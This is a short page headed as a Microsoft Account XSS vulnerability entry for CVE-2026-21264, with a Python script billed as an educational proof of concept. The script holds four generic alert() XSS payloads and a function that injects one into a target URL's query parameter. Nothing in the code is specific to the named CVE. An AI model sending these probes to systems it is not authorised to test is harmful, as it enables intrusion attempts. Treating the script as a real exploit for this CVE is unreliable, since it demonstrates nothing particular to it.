CVE-2026-21264 Microsoft Account跨站脚本(XSS)漏洞

import requests import urllib.parse # CVE-2026-21264 XSS PoC (Educational Purpose Only) # This demonstrates how XSS payloads might be constructed # DO NOT use for unauthorized testing def generate_xss_payload(): """Generate basic XSS payloads for testing""" payloads = [ '<script>alert("XSS")</script>', 'javascript:alert(String.fromCharCode(88,83,83))', '<img src=x onerror=alert("XSS")>', '<svg/onload=alert("XSS")>' ] return payloads def test_xss_endpoint(url, payload): """Test XSS vulnerability (requires authorization)""" encoded_payload = urllib.parse.quote(payload) test_url = f"{url}?input={encoded_payload}" # Note: Only test systems you own or have permission to test response = requests.get(test_url, timeout=10) return response.text if __name__ == "__main__": print("CVE-2026-21264 XSS PoC - For authorized testing only") print("Reference: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21264")